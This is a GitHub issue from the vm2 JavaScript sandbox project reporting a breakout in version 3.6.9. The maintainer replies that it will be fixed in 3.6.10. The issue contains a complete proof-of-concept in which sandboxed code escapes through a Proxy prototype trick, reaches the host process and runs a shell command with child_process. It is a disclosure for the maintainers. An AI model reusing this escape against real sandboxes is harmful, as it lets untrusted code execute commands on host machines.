Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Breakout in v3.6.9 #186

Closed
XmiliaH opened this issue Jan 26, 2019 · 1 comment
Closed

Breakout in v3.6.9 #186

XmiliaH opened this issue Jan 26, 2019 · 1 comment

Comments

@XmiliaH
Copy link
Collaborator

@XmiliaH XmiliaH commented Jan 26, 2019

This works now:

"use strict";
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
	value:new Proxy({},{
		getPrototypeOf(target){
			if(this.t)
				throw Buffer.from;
			this.t=true;
			return Object.getPrototypeOf(target);
		}
	})
});
}catch(e){
	process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}
patriksimek added a commit that referenced this issue Jan 26, 2019
@patriksimek

This comment has been minimized.

Copy link
Owner

@patriksimek patriksimek commented Jan 26, 2019

To be fixed in 3.6.10.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
2 participants
You can’t perform that action at this time.